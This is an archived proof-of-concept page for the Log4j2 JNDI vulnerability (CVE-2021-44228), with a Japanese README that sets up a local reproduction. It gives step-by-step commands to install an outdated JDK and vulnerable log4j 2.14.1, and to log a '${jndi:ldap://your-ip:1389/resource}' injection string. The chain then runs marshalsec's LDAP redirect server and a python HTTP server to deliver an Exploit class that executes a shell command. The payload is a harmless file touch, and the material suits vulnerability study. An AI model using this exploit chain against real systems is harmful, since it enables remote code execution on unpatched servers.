Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2021-44228 PoC — Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints

Source
Associated Vulnerability
Title:Apache Log4j2 JNDI features do not protect against attacker controlled LDAP and other JNDI related endpoints (CVE-2021-44228)
Description:Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Readme
# CVE-2021-44228  


> こっちのお話の方がより実用性があると思います(泣)[christophetd/log4shell-vulnerable-app](https://github.com/christophetd/log4shell-vulnerable-app)


興味を持って勢いで調べただけなので、あやふやな箇所や間違いがあると思われます。  
どうか、自己責任でお願いします。

## 再現環境を作る。  

linux環境であれば動作すると思われます。

### 1. jdk のダウンロード  
**jdk8u191** 以降では *com.sun.jndi.rmi.object.trustURLCodebase* オプションが追加され、デフォルトが False になっています。
この状態では外部で用意した class を読み込ませることができないので、今回はそれ以前のバージョンを利用します。  
(*内部のクラスを読み込ませたりバイパスしたりできる??*)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/  
  
[jdk8u20の直接ダウンロード](http://api.vulhub.org/download/jdk/8/jdk-8u20-linux-x64.tar.gz)  
解凍して適当に /opt などに置いておきます。

### 2. 脆弱性のあるlog4jの用意  
[log4jのダウンロード](https://www.apache.org/dyn/closer.lua/logging/log4j/2.14.1/apache-log4j-2.14.1-bin.tar.gz)  
解凍して **log4j-api-2.14.1.jar** と **log4j-core-2.14.1.jar** を取り出します(今回は log4japp というディレクトリに入れました)。


### 3. log4j のクラスパスを通す

```bash
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
```

### 4. 簡単なアプリケーションを作成 
```java:log4j.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class log4j {


        private static final Logger logger = LogManager.getLogger(log4j.class);

        public static void main(String[] args) {
                logger.error("${jndi:ldap://your-ip:1389/resource}");
                // /resource がないと動きませんでした。
        }
}
```

### 5. marshalsec の用意  
[mbechler/marshalsec](https://github.com/mbechler/marshalsec)  
ldap の問い合わせを Web の方にリダイレクトさせる。
```bash
mvn clean package -DskipTests
```
待受開始
```bash
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
```
marshalsec のリダイレクト先も用意
```bash
python3 -m http.server 8888
```

### 6. marshalsec に渡させるクラスを用意  
```java:Exploit.java
class Exploit {
    static {
        try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
    }
}
```
インストールした jdk8u20 を使ってコンパイル
```bash
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
```

### 7. exploit
インストールした jdk8u20 を使ってコンパイル・実行する。
```bash
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
```

![screenshot](https://github.com/racoon-rac/CVE-2021-44228/blob/main/Screenshot.png)
File Snapshot

[4.0K] /data/pocs/882136c4a9cd6fb3e66473ed0f3005a24ebe741d ├── [3.0K] README.md └── [1.0M] Screenshot.png 0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →